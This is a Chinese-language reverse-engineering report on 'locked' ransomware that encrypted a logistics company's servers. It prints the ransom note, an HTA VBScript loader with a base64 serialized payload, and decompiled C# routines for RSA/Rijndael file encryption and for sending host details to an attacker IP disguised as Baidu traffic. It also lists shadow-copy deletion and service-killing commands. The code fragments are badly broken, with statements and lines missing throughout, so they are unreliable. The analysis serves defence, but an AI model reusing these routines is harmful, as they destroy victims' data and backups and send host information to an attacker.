1.背景 1.1来源 近期,Solar团队收到某物流公司的援助请求,该公司的计算机服务器受到了locked勒索家族的侵害,所有的文件被加密并且添加了.locked后缀,该勒索软件的初始入侵方式是利用知名财务系统的nday进行的。应客户的要求,本文暂不提供对入侵事件溯源的分析报告,仅提供该勒索病毒加密器的逆向分析报告。 2.恶意文件基础信息 2.1 文件基础信息 文件名 78403c39.exe 大小 5632(5.50 KiB) 操作系统 Windows(95) 架构 I386 模式 32 位 类型 控制台 字节序 LE MD5 d6a722fc1d3e4998de93f6112dded913 SHA256 16482e6c3ad97f048851f87b67446a64340eeb8e 
2.2 勒索信 send 0.08btc to my address:bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l. contact email:service@helloworldtom.online,if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID2.3 update[5].hta 在被感染的主机上找到了可疑文件,hta文件中嵌入了VBScript代码用于实现恶意功能。 <script language="VBScript">End  SubSet  shell = CreateObject("WScript.Shell" )"Process" ).Item("COMPLUS_Version" ) = "v4.0.30319" End  SubFunction  Base64ToStream(b)length , ba, transform, msSet  enc = CreateObject("System.Text.ASCIIEncoding" )length  = enc.GetByteCount_2(b)Set  transform = CreateObject("System.Security.Cryptography.FromBase64Transform" )Set  ms = CreateObject("System.IO.MemoryStream" )0 , length ), 0 , ((length  / 4 ) * 3 )0 Set  Base64ToStream = msEnd  Function "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy" "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph" "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk" 20000 行"AAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5" "IExvYWQoQnl0ZVtdKQgAAAAKCwAA" "EfsPotato.Mshta" Set  fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter" )Set  al = CreateObject("System.Collections.ArrayList" )Empty Set  d = fmt.Deserialize_2(Base64ToStream(s))Set  o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)End  SubOn  Error  Resume  Next If  Err.Number <> 0  Then End  If 此代码的功能主要为,将上述的base64字符串反序列化之后执行相关的恶意功能,此程序会释放4个相关文件。 3.恶意文件分析 3.1 威胁分析 病毒家族 locked 首次出现时间/捕获分析时间 2024/03/20 || 2024/03/20 威胁类型 勒索软件,加密病毒 勒索软件地区 国外 加密文件扩展名 .locked 勒索信文件名 READ_ME6.html 有无免费解密器? 无 联系邮箱 service@helloworldtom.online 检测名称 Avast (Win32:RansomX-gen [Ransom]), AhnLab-V3 (Ransomware/Win.Ransom.C5011664), AliCloud (RansomWare), Avast (Win32:RansomX-gen [Ransom]), Avira (no cloud) (HEUR/AGEN.1319014), BitDefenderTheta (Gen:NN.ZexaF.36802.muW@a83MUGci),ClamAV(Win.Ransomware.Rapid-9371249-0),Cybereason(Malicious.0fe686),Cynet(Malicious (score: 100)),DrWeb(Trojan.Encoder.37869),eScan(Trojan.GenericKD.70329037), Fortinet (W32/Filecoder.MALL!tr.ransom),Google(Detected) 感染症状 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(.locked)。桌面上会显示一条勒索要求消息(READ_ME6.html)。网络犯罪分子要求通过邮箱联系后支付比特币后提供数据恢复工具 感染方式 钓鱼 受灾影响 大部分文件将被加密 
3.2 加密器 此文件的执行参数如下
78403c39.exe  78403c39.bin z5nYkKl64ZNkhDpQT02vW2I6qudygrPl z5nYkKl64ZNkhDpQ4.逆向分析 using System;Start  Update "); helloworld"); helloworld1"); U").Equals(""); helloworld2"); 程序将会读取第一个参数作为文件路径,以及第二个和第三个参数作为密钥和初始向量,然后调用 Decrypt 方法对指定的文件进行解密操作,并尝试加载解密后的内容为一个程序集,并创建其名为 "U" 的实例。 Decrypt 方法是一个静态方法,用于对给定的密文进行解密。它使用了对称加密算法 Rijndael,并通过密钥和初始向量进行解密操作。File2Byte 方法也是一个静态方法,用于将指定文件的内容读取为字节数组并返回。那么推测恶意行为的代码存在于Assembly.Load加载的解密的内容中,捕获此部分内容输出到文件output.bin中。 4.1 核心程序 文件名 output.bin 大小 28672(28.00 KiB) 操作系统 Windows(95) 架构 I386 模式 32 位 类型 DLL 字节序 LE MD5 5b5415d4895b7da6f4d8c2a8efa1d06a SHA256 2881194b7e0939d47165c894c891737d8c189ee8fb4720e814a4bcdd804d00d1 
4.2 函数RUN 恶意功能从此处开始运行,调用了U.SleepRand();进行了随机休眠,可能是为了逃避沙盒检测,随机生成了一对公私钥,将私钥用程序自带的公钥进行加密得到ID。 private static string personPubKey = "BgIAAACkAABSU0ExAAQAAAEAAQABo5INMgvZRHU+odxc8HTZUnsValb+zVbnhjhUK0Smo6MnGNYvaQY6vN9j5viFHTfCgu0NculsfILwXtUVUn8WqEHjm0xfbsKl93uazKHzyuiiepA5ggNHgGbZ5vnpo5MKE3ykwdqYPst8ULxCZNPCdu3kK2PKC2li150Dl8e2zA==";--" + U.countFile.ToString()); 4.3 函数RunEncProcessDirectory 首先,它尝试获取指定路径下的所有文件,并对每个文件执行以下操作: 检查文件是否允许加密(通过 U.IsAllowExt(text) 方法判断)。 确保文件名中不包含特定的字符串(U.msgFileName(即READ_ME6.html)、"pubkey.txt"、"show.txt")。 如果文件符合条件,则开始对该文件执行加密操作,调用 U.RunEncProcessFile() 方法。 在加密文件后,检查文件计数是否达到一定值(U.countFile 不为零且小于等于 2000,并且能被 500 整除),如果满足条件,则发送一个 HTTP 消息,通知加密进度。 接着,它尝试获取指定路径下的所有子目录,并对每个子目录执行以下操作: 检查该子目录是否被阻止加密(通过 U.IsBlockDir(text2) 方法判断),如果未被阻止,则递归调用 RunEncProcessDirectory 方法。 // U // Token: 0x06000016 RID: 22 RVA: 0x0000296C File Offset: 0x00000B6C public  static  void  RunEncProcessDirectory (string  path, string  pubKey, int  encSize, string  showIDif  (path.Length == 0 )return ;try foreach  (string  text in  Directory.GetFiles(path))if  (U.IsAllowExt(text) && !text.Contains(U.msgFileName) && !text.Contains("pubkey.txt" ) && !text.Contains("show.txt" ))"start enc file:"  + text);if  (U.countFile != 0  && U.countFile <= 2000  && U.countFile % 500  == 0 )"do-"  + U.countFile.ToString());else "skip enc file:"  + text);catch try foreach  (string  text2 in  Directory.GetDirectories(path))if  (!U.IsBlockDir(text2))catch  (Exception ex)"read dir from path {0} error {1}" , path, ex.Message);4.4 函数IsAllowExt     白名单文件后缀
public  static  bool  IsAllowExt (string  nameforeach  (string  text in  U.extensionsToEncrypt)if  (name.ToLower().EndsWith(text.ToLower()))return  true ;return  false ;private  static  readonly  string [] extensionsToEncrypt = new  string []"1cd" ,"3dm" ,"3ds" ,"3fr" ,"3g2" ,"3gp" ,"3pr" ,"602" ,"7z" ,"ps1" ,"7zip" ,"aac" ,"ab4" ,"accdb" ,"accde" ,"accdr" ,"accdt" ,"ach" ,"acr" ,"act" ,"adb" ,"adp" ,"ads" ,"aes" ,"agdl" ,"zip" ,4.5 函数IsBlockDir     文件夹黑名单,不加密此类文件夹以及其子文件夹。
public  static  bool  IsBlockDir (string  nameforeach  (string  text in  U.blockDirName)if  (name.ToLower().Contains(text.ToLower()))return  true ;return  false ;private  static  readonly  string [] blockDirName = new  string []"EFI.Boot" ,"EFI.Microsoft" ,":.Windows" ,"All Users" ,"Boot" ,"IEidcache" ,"ProgramData" ,"desktop.ini" ,"autorun.inf" ,"netuser.dat" ,"ntuser.dat" ,"bootsect.bak" ,"iconcache.db" ,"thumbs.db" ,"Local Settings" ,"bootfont.bin" ,"System Volume Information" ,"AppData" ,"Recycle.Bin" ,":.Recovery" ,"Windows\\System32" ,"Windows\\System" ,"Windows\\SysWOW64" ,"Windows\\security" ,"WindowsPowerShell" ,"Windows\\assembly" ,"Windows\\Microsoft.NET" ,"Windows\\Fonts" ,"Windows\\IME" ,"Windows\\boot" ,"Windows\\inf" ,"show" ,"pubkey" ,"READ_ME" ,"README" 4.6 函数SendHttp     向107.175.127.195发送相关信息,此ip归属地为美国得克萨斯州达拉斯。向服务器发送用户相关信息,包括MachineName,UserName,ProcessorCount,Version ,isadmin,并伪装为百度的流量Host:``css.baidu.com。
public  static  string  httpAddr = "107.175.127.195" ;public  static  int  httpPort = 80 ;public  static  void  SendHttp (string  s"--" ;"--" ;"--" ;"--" ;"--" ;new  WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator).ToString() + "--" ;foreach  (IPAddress ipaddress in  hostAddresses)"," ;string  s2 = "GET /css/css.css?v="  + s + " HTTP/1.1\r\nHost:css.baidu.com\r\n\r\n" ;try new  Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);new  IPEndPoint(IPAddress.Parse(U.httpAddr), U.httpPort);1000 );catch  (Exception ex)"error socket {0}" , ex.Message);4.7 函数Destroy 通过 U.ExecuteCmd() 方法执行了一系列 net stop 命令,用于停止服务; 通过 U.ExecuteCmd() 方法执行了 vssadmin delete shadows /all 命令,用于删除所有卷影副本; 通过 U.ExecuteCmd() 方法执行了一系列 taskkill 命令,用于强制终止指定名称的进程。 // U // Token: 0x0600001C RID: 28 RVA: 0x00002DA0 File Offset: 0x00000FA0 public  static  void  Destroy ("net stop SQLTELEMETRY" );"net stop ReportServer" );"net stop SQLSERVERAGENT" );"net stop MSSQLServerOLAPService" );"net stop SQLBrowser" );"net stop SQLWriter" );"net stop mssqlserver" );"net stop msmq" );"net stop mssql" );"net stop mysql" );"net stop mongodb" );"net stop rabbitmq" );"vssadmin delete shadows /all" );"taskkill /f /im msftesql.exe" );"taskkill /f /im sqlagent.exe" );"taskkill /f /im sqlbrowser.exe" );"taskkill /f /im sqlservr.exe" );"taskkill /f /im sqlwriter.exe" );"taskkill /f /im oracle.exe" );"taskkill /f /im ocssd.exe" );"taskkill /f /im dbsnmp.exe" );"taskkill /f /im synctime.exe" );"taskkill /f /im mydesktopqos.exe" );"taskkill /f /im agntsvc.exeisqlplussvc.exe" );"taskkill /f /im xfssvccon.exe" );"taskkill /f /im mydesktopservice.exe" );"taskkill /f /im ocautoupds.exe" );"taskkill /f /im agntsvc.exeagntsvc.exe" );"taskkill /f /im agntsvc.exeencsvc.exe" );"taskkill /f /im firefoxconfig.exe" );"taskkill /f /im tbirdconfig.exe" );"taskkill /f /im ocomm.exe" );"taskkill /f /im mysqld.exe" );"taskkill /f /im mysqld-nt.exe" );"taskkill /f /im mysqld-opt.exe" );"taskkill /f /im dbeng50.exe" );"taskkill /f /im sqbcoreservice.exe" );"taskkill /f /im excel.exe" );"taskkill /f /im infopath.exe" );"taskkill /f /im msaccess.exe" );"taskkill /f /im mspub.exe" );"taskkill /f /im onenote.exe" );"taskkill /f /im outlook.exe" );"taskkill /f /im powerpnt.exe" );"taskkill /f /im steam.exe" );"taskkill /f /im sqlservr.exe" );"taskkill /f /im thebat.exe" );"taskkill /f /im thebat64.exe" );"taskkill /f /im thunderbird.exe" );"taskkill /f /im visio.exe" );"taskkill /f /im winword.exe" );"taskkill /f /im wordpad.exe" );"taskkill /f /im tnslsnr.exe" );4.8 函数WriteMsg 写入勒索信息
host type target pri helloworldtom.online MX mx1.titan.email 10 helloworldtom.online MX mx2.titan.email 20 
// U // Token: 0x06000018 RID: 24 RVA: 0x00002ADC File Offset: 0x00000CDC public  static  void  WriteMsg (string  path, string  showIdtry if  (!File.Exists(path + "\\"  + U.msgFileName))"\\"  + U.msgFileName, U.readMeMsg.Replace("PERSONID" , showId));catch  (Exception ex)"write readme file error {0}" , ex.Message);private  static  string  btcCount = "0.08" ;private  static  string  btcAddr = "bc1qnuxx83nd4keeegrumtnu8kup8g02yzgff6z53l" ;private  static  string  email = "service@helloworldtom.online" ;private  static  string  readMeMsg = string .Concat(new  string []"send " ,"btc to my address:" ,". contact email:" ,",if you can't contact my email, please contact some data recovery company(suggest taobao.com), may they can contact to me .your id: ATNPERSONID" 4.9 函数RunEncProcessFile 在 try-catch 块中,首先调用 common.FileEncryptNew() 方法执行文件加密操作,将加密后的文件保存为原文件名加上指定的文件扩展名(U.fileExtension)。 每次成功加密一个文件后,递增 U.countFile 变量,用于记录加密文件的数量。 调用 U.appendDebugMsg() 方法记录加密成功的消息。 如果在加密过程中发生异常,捕获异常并输出错误消息到控制台,然后调用 U.appendDebugMsg() 方法记录加密失败的消息,包括文件名和异常信息。 private  static  readonly  string  fileExtension = ".locked" ;// U // Token: 0x06000015 RID: 21 RVA: 0x000028EC File Offset: 0x00000AEC public  static  void  RunEncProcessFile (string  filename, string  pubKey, int  encSize, string  encPrivateKeytry "enc file success"  + filename);catch  (Exception ex)"enc from filename {0} error {1}" , filename, ex.Message);"enc file fail:"  + filename + "reason:"  + ex.ToString());4.10 函数FileEncryptNew 用于执行文件加密操作,其中使用了 RSA 加密算法和 Rijndael 对称加密算法。
public  static  bool  FileEncryptNew (string  inputFile, string  outputFile, string  pubKey, int  sizebool  flag = true ;byte [] rand = common.GetRand(2 );byte [] rand2 = common.GetRand(1 );byte [] array = new  byte [48 ];0 , array, 0 , rand.Length);0 , array, rand.Length, rand2.Length);byte [] array2 = new  RSAUtil().EncryptByBytes(array, pubKey);new  FileStream(outputFile, FileMode.Create);new  RijndaelManaged();256 ;128 ;0 , array2.Length);new  CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);new  FileStream(inputFile, FileMode.Open);byte [] array3 = new  byte [size];try int  count;while  ((count = fileStream2.Read(array3, 0 , array3.Length)) > 0 )0 , count);catch  (Exception ex)false ;"Error: "  + ex.Message);"enc file"  + inputFile + " fail:"  + ex.ToString());finally if  (flag)if  (!common.RemoveFile(inputFile))else return  flag;5.病毒分析概览 程序启动后,通过VBScript释放文件1,2,在文件1中使用文件2作为参数,使用AES算法解密文件2的内容后得到DLL类型的C#可执行程序,文件1加载此程序并直接调用其恶意功能。 恶意程序启动之后,随机休眠一段时间,可能为了避免沙盒检测,随机生成了一对公私钥,将私钥用程序自带的公钥进行加密得到ID,关闭了系统的部分服务与进程,随机生成AES密钥用于加密文件,并用随机生成的公钥加密AES加密的相关信息写在文件头部。